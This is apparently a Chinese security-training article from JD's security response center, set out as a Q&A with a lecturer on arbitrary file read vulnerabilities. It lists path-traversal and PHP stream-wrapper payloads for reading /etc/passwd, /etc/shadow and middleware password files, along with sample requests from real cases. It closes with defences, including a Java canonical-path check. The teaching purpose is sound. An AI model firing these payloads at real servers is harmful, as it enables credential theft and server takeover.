安全小课堂第101期【web漏洞挖掘之任意文件读取漏洞】

京东安全应急响应中心 7月9日

任意文件读取是属于文件操作漏洞的一种，一般任意文件读取漏洞可以读取的配置信息甚至系统重要文件。严重的话，就可能导致SSRF，进而漫游至内网。
JSRC **安全小课堂第101期**，邀请到**c0mpu7er**作为讲师就**任意文件读取漏洞**为大家进行分享。感谢白帽子盆友的精彩提问与互动~

什么是任意文件读取漏洞？

京安小妹

c0mpu7er：
在web安全中，任意文件读取漏洞是非常常见的一种漏洞，属于文件操作类漏洞，一般常见于PHP/java/python语言中，任意文件读取漏洞，顾名思义，就是可以任意读取服务器上部分或者全部文件的漏洞，攻击者利用此漏洞可以读取服务器敏感文件如/etc/passwd,/etc/sadow,web.config。漏洞一般存在于文件下载参数，文件包含参数。主要是由于程序对传入的文件名或者文件路径没有经过合理的校验，从而操作了预想之外的文件，导致意外的文件泄露。

讲师

任意文件读取漏洞的原理？

京安小妹

c0mpu7er：

任意文件读取漏洞的原理其实就是由于程序对客户端传入的参数未作合法性的检验造成的，举了例子：在业务常见中存在一个url:
http://www.download.com/index.php?filename=code.php
此URL的业务功能主要是包含进code.php文件中的程序代码，然后在index.php文件中执行相关的代码，但是由于filename参数未作校验，攻击者可以构造url：
http://www.download.com/index.php?filename=c:\windows\win.ini 或者构造
http://www.download.com/index.php?filename=/etc/shadow ，
然后去访问，结果攻击者就读取到了win.ini内容和操作系统shadow,对于操作系统的shadow文件，大家应该比较清楚，是保存操作系统密码串的文件，这样攻击者就可以对密码串进行破解，获取到操作系统的SSH密码。
以上例子说明任意文件读取/下载的漏洞产生原理主要就是对参数未进行合法性校验造成的。另外还有一些如PHP语言的PHP流input和filter以及data的URLs远程文件包含漏洞造成的任意文件读取漏洞。

讲师

任意文件读取漏洞的利用方式都有啥？

京安小妹

c0mpu7er：

任意文件读取/下载漏洞的利用方式比较简单，但也要看web系统的实际情况来读取下载文件，对于weblogic中间件，如果攻击者想通过任意文件读取漏洞Getshell,那攻击者可以利用任意文件读取漏洞下载weblogic的密码文件和filter，然后破解console控制台密码，部署shell;对于tomcat中间件，利用任意文件下载漏洞读取控制台密码文件tomcat-users.xml ，下载到管理台密码后就可以部署shell了，总之，任意文件下载漏洞的利用方式要看实际情况，下载文件一般利用有：配置文件读取，代码审计，信息收集，getshell等，常见的任意文件下载/读取漏洞的利用方式有以下几种：

1. 读取程序源代码（如密码配置文件）
2. 读取程序配置文件（如数据库连接文件）
3. 读取操作系统关键文件（如/etc/sadow，/root/.bash_history等文件）
4. 读取运维配置文件（redis/rsync/ftp/ssh客户端数据等）
5. 读取中间件配置文件（weblogic/tomcat等密码文件，apache的httpd.conf文件）
6. 下载web日志文件（获取网站后台/上传文件等）
7. 结合SSRF获取内网机器文件

挖掘任意文件读取漏洞的奇技淫巧都有哪些呢？

京安小妹

c0mpu7er：

任意文件读取漏洞的挖掘一般只能手工进行测试，常见的web扫描器很难发现此类漏洞，主要因为任意文件读取漏洞大多数在登录状态的各种业务场景下面，甚至出现在APP类的程序中，所以此类漏洞只能根据业务场景，参数名称等方式进行手工测试。对于任意文件下载漏洞的payload构造，情况比较多，最为常见的payload类似于../../../../../../这样的通道符，当然还有一些程序做了限制的，如%00截断，路径长度截断，点号截断等。常见的任意文件读取漏洞挖机有以下几种：

1. 白盒挖掘

任意文件挖掘通过代码审计的方式挖掘，此类挖掘漏洞的方式我们可以搜索关键词，如download，filename,file,name，dir等与文件操作相关的代码段，然后找出对应的处理函数看是否做了过滤和限制等。白盒审计任意文件读取的漏洞我们就不需要每一行代码都去看，既然审计目的是找出是否有文件读取和文件下载的漏洞，那么只要找出相关的业务功能代码即可进行挖掘。这里白盒审计的敏感字段常见有RealPath，FilePath，filepath，Path，path，inputFile，url，urls，Lang，dis，data，readfile，filep，src，menu，file，name，filename，input等

2．黑盒挖掘

黑盒挖掘任意文件下载的漏洞其实就是渗透测试了，黑盒相对于白盒审计而言，就是看不到代码段，不知道程序对文件名参数是否做了处理，那么就需要通过各种文件读取的payload fuzz了。黑盒挖掘文件下载读取漏洞，在web业务上面我们可以寻找文件的下载点，图片加载点，路径写入点等，

如/getpiptureActionload.action?filename=xxxxx.docx&random=111,那么我们在测试的时候就可以构造：

getpiptureActionload.action?

filename=../../../../../../../../../.etc/passwd&random=111这样的url进行漏洞挖掘，当然不同的操作系统，构造方式有所不同。

2．灰盒挖掘

这里的灰盒我们理解为黑盒+白盒的方式，这种挖掘方法非常有效，也非常的省时省力，例如我们在业务上面找到了文件下载点，然后去阅读代码看是否做了处理，如果做了处理结合代码规则进行绕过测试，如果未作限制，直接利用即可。常见的一些任意文件读取的下面几种比较常见：

1本地文件包含。

此类包含，程序做了部分限制，我们在挖掘漏洞的时候可以使用以下方式做绕过测试

A.%00截断方法：

?filename=../../../etc/pwd%00

./../../../../../../../../../etc/passwd%00.jpg

B.路径长度截断方法：

? downfile=../../../etc/pwd/././.[...]/././.

C.点号截断：

downfile=../../../boot.ini/....[...].....

D.URL编码绕过

Downfile=%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

1远程文件包含。

此类文件包含漏洞的挖掘，主要存在于PHP中，且必须打开all_url_open和allow_url_include,对于文件的包含目录没有限制。

A.　远程执行代码：

Index.php?filename=http://vul.com/phpinfo.php

B.　利用php流input:

Index.php?filename=php://input

C.　利用PHP流filter:

Index.php?filename=php://filter/convert/resource=index.php

D.　利用data URLs:

Index.php?filename=data://text/plain;base64, dGVzdCA=

关于漏洞的挖掘技巧和利用，不同的环境，有不同的绕过方式，逢魔团队的大佬xfkxfk将在看雪峰会的议题中会放出非常有趣的tricks,到时候各位白帽子大佬可以围观。

讲师

分享一些经典的任意文件读取漏洞的案例?

京安小妹

c0mpu7er：

任意文件读取的漏洞非常的常见，这里典型的有PHPCMSV9.6.1任意文件读取漏洞，FFmpeg < 3.3.2，GitLab 任意文件读取漏洞 (CVE-2016-9086)，应用服务器glassfish任意文件读取漏洞。这里有文章分析PHPcmsV9.6.1任意文件读取漏洞，有兴趣的可以移步链接：http://blog.nsfocus.net/phpcms-v9-6-1-arbitrary-file-download-vulnerability-analysis-exp/ 里面有非常详细的漏洞原理，分析，利用和修复过程。笔者也分享几个在实际项目中遇到的任意文件读取漏洞的案例：

某app应用文件读取漏洞：

GET /mstep/stream.do?
act=localFile&filename=../../../../../../../../../../../../../../../../etc/passwd

某系统产品编辑处任意文件读取漏洞

GET/adm/product2/page/underdined/getpictureAction?
picturename=../../../../../../../etc/passwd

文件下载处任意文件下载漏洞：

down?attachId=Fil&fileName=/etc/shadow

目录穿越任意文件读取漏洞：

/file/download.do\?filePath\=../../../../../../../../etc/passwd
/file/download.do\?filePath\=../../../../../../../../data/mysql/data/mysql.dat

根目录直接读取任意文件漏洞：

GET /../../../../etc/passwd GET /static/../../../../etc/passwd

中间件配置错误任意文件读取漏洞：

GET /static../etc/passwd

讲师

任意文件读取漏洞防御方法？

京安小妹

c0mpu7er：

从企业安全角度来讲

任何的安全问题，都离不开企业安全规划和软件生命周期的管理，任意文件读取漏洞和其他web常见漏洞一样，要做到防御此类漏洞，可以从软件的需求，设计，编码，测试，运维多个维度进行防御，如在软件设计初期就做好相关业务功能的安全设计，做好防范任意文件读取漏洞的安全设计，并且在编码中能很好的实现，在测试阶段能做好web软件系统的安全测试工作，这样就能尽可能的避免web应用上线后出现任意文件读取的漏洞。

从安全编码角度来讲

任意文件读取漏洞的核心主要是由于客户端传入的文件名或者文件路径未作好合法的判断和限制，那么从编码角度而言，只要对传入的文件名做白名单限制，并且对传入的文件路径做好过滤，禁止传入.(点好)等通道符。对于php语言，也要做好目录的访问权限，如在php.ini配置open_basedir限定文件访问范围。对文件的下载做好独立的目录，并采用文件id的方式对文件进行标记，如对于文件下载可以使用download.jsp?id=121122。这里举个Java语言的文件操作的安全代码案例：参考java文件操作的api：

https://docs.oracle.com/javase/8/docs/api/java/io/File.html#getCanonicalPath--

```
if (null == file || !file.exists()
        ||!file.getCanonicalFile().getParent().equals(new
File(Constants.TMP_PATH).getCanonicalPath())) {
return;
}
```

利用Java的api指导文件其中getParent()返回路径的字符串，

getCanonicalFile（ ）该方法返回同一个文件或目录的规范路径名字符串表示。

getCanonicalPath（ ）函数主要是对路径做了无歧义处理，即将文件名的相对路径去掉了，这样就可以防止部分利用文件穿越和传入文件路径方式读取和下载任意文件了。

讲师

本期JSRC 安全小课堂到此结束。更多内容请期待下期安全小课堂。如果还有你希望出现在安全小课堂内容暂时未出现，也欢迎留言告诉我们。

安全小课堂的往期内容开通了自助查询，点击菜单栏进入“安全小课堂”即可浏览。

简历请发送：cv-security@jd.com

微信公众号：jsrc_team

新浪官方微博：京东安全应急响应中心